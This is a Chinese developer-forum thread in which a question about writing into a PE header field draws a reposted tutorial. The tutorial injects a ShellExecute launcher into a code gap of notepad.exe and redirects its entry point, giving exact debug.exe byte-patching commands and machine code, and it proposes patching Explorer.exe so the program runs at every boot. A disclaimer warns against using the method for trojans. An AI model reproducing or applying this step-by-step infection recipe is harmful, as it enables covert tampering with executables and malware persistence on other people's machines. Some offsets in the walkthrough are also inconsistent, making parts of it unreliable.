怎样在PE文件结构里写东西? 我对PE文件结构不太懂。现想在PE的可选映像头IMAGE_OPTIONAL_HEAD的保留字段WinVersion里写的东西,该如何操作?最好给出Delphi的源码。 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 找到那个地方直接写。PE文件格式参看http://61.153.195.10:8080/list.asp?part1=1 TO 楼上:我想在这儿加点东西,判断文件是否被非法改动,没有恶意。UP to NowCan:能给出DELPHI代码吗。我用FileWrite没写成功。UP 刚看到的,不知道行不行啊,我从别的地方转过来的:--------给PE文件打补丁--------我们都知道在PE文件中有很多空隙,所以我们就有可能给PE文件打补丁.做法是在空隙中插入我们的补丁代码.下面我通过实例来教大家给win97的notepad.exe(记事本)程序来打个补丁,使得notepad.exe运行时先运行我的pach.exe程序,方法是:1.在notepad.exe的section间隙中插入 ShellExecute(0,'open','pach.exe',0,0,5)这个api函数调用2.后面加入jmp old_begin来跳回原来的程序启动点执行原来的代码3.修改程序的入口点为新的入口点经过这三步操作后,你就为notepad.exe程序打上了补丁,以后每次执行notepad.exe都会先执行pach.exe程序了.听起来很简单,做起来麻烦,我们来看看如何实际操作吧!首先我们需要有个debug.exe用来修改notepad.exe程序的内容,这是windows自带的,你不用费事找的,当然你要分析pe文件的结构和他的反汇编指令的话还要一个dumppe.exe程序,他是masm32汇编器自带的一个免费程序,功能强大,我们分析pe格式和反汇编码就用他了,如果你没有这个程序也没关系,想要的话从这里下载就行http://njhhack.top263.net/dumppe.zip当然我们还要一个win97的操作系统,因为我们对他的notepad.exe程序打补丁.好了,准备好后,我们开始工作了,先把notepad.exe复制到c:\n.exe,c:\n然后我们对n进行手术,首先我们分析n.exe的内部结构,用dumppe -disasm n.exe>n.txt好了,n.txt中包含了我们要的所有信息,当然我们只对下面的几个内容感兴趣:------------------------------------------------Address of Entry Point 00001000-------------------------------------------------01 .text Virtual Address 00001000Virtual Size 00003A9B ----------------------------------------------------00402E20 FF1578734000 call dword ptr [ShellExecuteA]-----------------------------------------------------------------上面这三部分信息分别是什么含义呢?1.其中Address of Entry Point 00001000表示程序的入口点为1000,这个很重要,因为我们的程序执行完后要跳回这个入口点,2.其中 01 .text Virtual Address 00001000 Virtual Size 00003A9B 表示代码段的虚拟地址从1000开始,大小为3a9b,这个也很重要,因为我知道每个section以200对齐,现在大小为3a9b,比对齐后的3c00要少,所以代码段有空隙,我们就可以在此插入自已的代码了,空隙的大小为3c00-3a9b=165大小,足够了,3.其中00402E20 FF1578734000 call dword ptr [ShellExecuteA]是一个反汇编代码,我们了解到ShellExecuteA的调用的机器码为FF1578734000,有了上面这三个重要信息后,我们开始最艰难的工作了:=============================================================================1.我们修改代码段的大小,把Virtual Size的值由00003A9B改为00003C00,这样我们的代码才能被装入内存.因为Virtual Size值存在180的位置,所以我们可以这么做:debug n ↙-f280 l2 0,3c-w-q这样我们就改好了代码段的大小2.我们修改程序的入口地址为3a9d+1000=4a9d,方法如下因为入口地址在a8这个位置,所以这么做debug n ↙-f1a8 l2 9d,4a-w-q这样我们修改好了入口地址3.最后一步最难了,就是设计汇编代码了,来吧,精神点!------------------------------------------------------- 内存地址 机器码 汇编指令-------------------------------------------------------00404A9D 6A05 push 500404A9F 6A00 push 000404AA1 6A00 push 000404AA3 68E04B4000 push 404BE0h00404AA8 68F04B4000 push 404BF0h00404AAD 6A00 push 000404AAF FF1578734000 call dword ptr [ShellExecuteA]00404AB5 E941010000 jmp loc_00404BFB00404BE0 6861636B2E657865 db 'pach.exe',000404BF0 6F70656E db 'open',000404BFB E900C4FFFF jmp loc_00401000--------------------------------------------------------------这就是我们要写的全部汇编指令,不长,但你要懂他的原理,好吧,我们来分析其中的push 5push 0push 0push 404BE0hpush 404BF0hpush 0是把6个参数压入堆栈,供ShellExecute函数使用,至于该函数的参数结构,大家看win32.hlp的描述然后call dword ptr [ShellExecuteA]这是调用这个函数了,其效果等同于下面的C语言格式ShellExecuteA(0,'open','pach.exe',0,0,5);也就是说最先压入堆栈的参数在函数的最右边,其中'open','pach.exe'分别相当于404BE0h,404BF0h这两个内存地址,因为在该函数中,字符串参数的传递是传的字符串地址,因此00404BE0 6861636B2E657865 db 'pach.exe',000404BF0 6F70656E db 'open',0这上面两行就是在内存中定义了两个字符串.00404AB5 E941010000 jmp loc_00404BFB上面这行是在call 完函数后跳到00404BFB这个地址.00404BFB E900C4FFFF jmp loc_00401000这一行是跳回原来的入口地址1000,执行原来的程序.-----------------------------------------------------------------好了,原理讲完了,我们最后要把这些指令放入代码段,当然就是把机器码放进去了,方法如下:因为代码段在400位置,而我们新入口点在3b9d,所以开始放数的地方是100+400+3a9d=3f9d其中加的100是debug在内存中的基地址,所以做法如下:debug n ↙-f3f9d l1d 6a,5,6a,0,6a,0,68,e0,4b,40,0,68,f0,4b,40,0,6a,0,ff,15,78,73,40,0,e9,41,1,0,0-f40e0 l9 'pach.exe',0 -f40f0 l5 'open',0 -f40fb l5 e9,0,c4,ff,ff -w-q好了,我们终于完成了最艰难的任务,可以颀赏一下成果了,把n.exe用n代换,方法为copy n n.exe打开n.exe我们发现,在启动记事本程序的时候,同时打开了pach.exe这个程序,呵呵,我们终于成功了想看效果,到这里下载njhhack.top263.net/pach.zip这个不是木马,是演示程序,大家不要害怕---------------------------------------------------用同样的方法,你可以给任何程序打补丁,只要他在程序中调用了ShellExecute,WinExec,CreateProcess,...这些函数就行,比如我们可以给Explorer.exe打补丁,这样我们就可以在启动电脑时,自动运行pach.exe程序了你还可以给很多这样的程序打补丁,只要你愿意.现在大家知道汇编语言有多有用了吧,以后好好学吧,当然还要学pe文件的格式哟,不过本人在此告诫大家不要用这个补丁技术来启动你的木马程序,若不听劝告,引起的后果与本人无关. 其实虽然是汇编代码,但应该可以转到Delphi中的! >>to NowCan:能给出DELPHI代码吗。我用FileWrite没写成功。------------------------------我不会Delphi,写文件失败的原因可能是那个文件正在运行? 抱歉,好久没来CSDN,以为没人回答。现在结帖! delphi 变量 := 函数名 想做一个小软件,能操作外网服务器上的sql数据库! DLL调用出错的问题... 用SQL查找含#字符串的语句为什么不行? 当我窗口放大时想放大所有窗口上的控键 如何在delphi中调用windows的写字板、计算器、画图? 非常急的重大问题,请版主及各位兄弟帮忙,问题解决问题1000分奉送?? up有分 如何能象3721的程序那样,一上网就能自动下载执行??? 想学Delphi,请问老鸟们俺该怎么开始? 何处有作工具栏图标用的小bmp下载? 奇怪问题,win98操作系统改名后,delphi的相关函数还是得到原来的主机名? 修改可执行程序
PE文件格式参看
http://61.153.195.10:8080/list.asp?part1=1
做法是在空隙中插入我们的补丁代码.
下面我通过实例来教大家给win97的notepad.exe(记事本)程序来打个补
丁,使得notepad.exe运行时先运行我的pach.exe程序,方法是:
1.在notepad.exe的section间隙中插入
ShellExecute(0,'open','pach.exe',0,0,5)这个api函数调用
2.后面加入jmp old_begin来跳回原来的程序启动点执行原来的代码
3.修改程序的入口点为新的入口点
经过这三步操作后,你就为notepad.exe程序打上了补丁,以后每次执行notepad.exe
都会先执行pach.exe程序了.
听起来很简单,做起来麻烦,我们来看看如何实际操作吧!
首先我们需要有个debug.exe用来修改notepad.exe程序的内容,这是windows
自带的,你不用费事找的,当然你要分析pe文件的结构和他的反汇编指令的话还要一
个dumppe.exe程序,他是masm32汇编器自带的一个免费程序,功能强大,我们分析pe
格式和反汇编码就用他了,如果你没有这个程序也没关系,想要的话从这里下载就行
http://njhhack.top263.net/dumppe.zip当然我们还要一个win97的操作系统,因为
我们对他的notepad.exe程序打补丁.
好了,准备好后,我们开始工作了,先把notepad.exe复制到c:\n.exe,c:\n
然后我们对n进行手术,首先我们分析n.exe的内部结构,用dumppe -disasm n.exe>n.txt
好了,n.txt中包含了我们要的所有信息,当然我们只对下面的几个内容感兴趣:
------------------------------------------------
Address of Entry Point 00001000
-------------------------------------------------
01 .text Virtual Address 00001000
Virtual Size 00003A9B
----------------------------------------------------
00402E20 FF1578734000 call dword ptr [ShellExecuteA]
-----------------------------------------------------------------
上面这三部分信息分别是什么含义呢?
1.其中Address of Entry Point 00001000
表示程序的入口点为1000,这个很重要,因为我们的程序执行完后要跳回这个入口点,
2.其中 01 .text Virtual Address 00001000
Virtual Size 00003A9B
表示代码段的虚拟地址从1000开始,大小为3a9b,这个也很重要,因为我知道每个
section以200对齐,现在大小为3a9b,比对齐后的3c00要少,所以代码段有空隙,我们就可
以在此插入自已的代码了,空隙的大小为3c00-3a9b=165大小,足够了,
3.其中00402E20 FF1578734000 call dword ptr [ShellExecuteA]
是一个反汇编代码,我们了解到ShellExecuteA的调用的机器码为FF1578734000,
有了上面这三个重要信息后,我们开始最艰难的工作了:
=============================================================================
1.我们修改代码段的大小,把Virtual Size的值由00003A9B改为00003C00,这样
我们的代码才能被装入内存.因为Virtual Size值存在180的位置,所以我们可以这么做:
debug n ↙
-f280 l2 0,3c
-w
-q
这样我们就改好了代码段的大小
2.我们修改程序的入口地址为3a9d+1000=4a9d,方法如下
因为入口地址在a8这个位置,所以这么做
debug n ↙
-f1a8 l2 9d,4a
-w
-q
这样我们修改好了入口地址
3.最后一步最难了,就是设计汇编代码了,来吧,精神点!-------------------------------------------------------
内存地址 机器码 汇编指令
-------------------------------------------------------
00404A9D 6A05 push 5
00404A9F 6A00 push 0
00404AA1 6A00 push 0
00404AA3 68E04B4000 push 404BE0h
00404AA8 68F04B4000 push 404BF0h
00404AAD 6A00 push 0
00404AAF FF1578734000 call dword ptr [ShellExecuteA]
00404AB5 E941010000 jmp loc_00404BFB00404BE0 6861636B2E657865 db 'pach.exe',0
00404BF0 6F70656E db 'open',0
00404BFB E900C4FFFF jmp loc_00401000
--------------------------------------------------------------
这就是我们要写的全部汇编指令,不长,但你要懂他的原理,好吧,我们来分析
其中的
push 5
push 0
push 0
push 404BE0h
push 404BF0h
push 0
是把6个参数压入堆栈,供ShellExecute函数使用,至于该函数的参数结构,大家看win32.hlp的描述
然后call dword ptr [ShellExecuteA]这是调用这个函数了,其效果等同于下面的C语言格式
ShellExecuteA(0,'open','pach.exe',0,0,5);
也就是说最先压入堆栈的参数在函数的最右边,其中'open','pach.exe'分别相当于404BE0h,404BF0h
这两个内存地址,因为在该函数中,字符串参数的传递是传的字符串地址,因此
00404BE0 6861636B2E657865 db 'pach.exe',0
00404BF0 6F70656E db 'open',0
这上面两行就是在内存中定义了两个字符串.
00404AB5 E941010000 jmp loc_00404BFB
上面这行是在call 完函数后跳到00404BFB这个地址.
00404BFB E900C4FFFF jmp loc_00401000
这一行是跳回原来的入口地址1000,执行原来的程序.
-----------------------------------------------------------------
好了,原理讲完了,我们最后要把这些指令放入代码段,当然就是把机器码放进去了,方
法如下:
因为代码段在400位置,而我们新入口点在3b9d,所以开始放数的地方是100+400+3a9d=3f9d
其中加的100是debug在内存中的基地址,所以做法如下:
debug n ↙
-f3f9d l1d 6a,5,6a,0,6a,0,68,e0,4b,40,0,68,f0,4b,40,0,6a,0,ff,15,78,73,40,0,e9,41,1,0,0
-f40e0 l9 'pach.exe',0
-f40f0 l5 'open',0
-f40fb l5 e9,0,c4,ff,ff
-w
-q
好了,我们终于完成了最艰难的任务,可以颀赏一下成果了,把n.exe用n代换,方法为copy n n.exe打开n.exe
我们发现,在启动记事本程序的时候,同时打开了pach.exe这个程序,呵呵,我们终于成功了
想看效果,到这里下载njhhack.top263.net/pach.zip这个不是木马,是演示程序,大家不要害怕
---------------------------------------------------
用同样的方法,你可以给任何程序打补丁,只要他在程序中调用了ShellExecute,WinExec,CreateProcess,...
这些函数就行,比如我们可以给Explorer.exe打补丁,这样我们就可以在启动电脑时,自动运行pach.exe程序了
你还可以给很多这样的程序打补丁,只要你愿意.
现在大家知道汇编语言有多有用了吧,以后好好学吧,当然还要学pe文件的格式哟,不过本人在此告诫
大家不要用这个补丁技术来启动你的木马程序,若不听劝告,引起的后果与本人无关.
我不会Delphi,写文件失败的原因可能是那个文件正在运行?
现在结帖!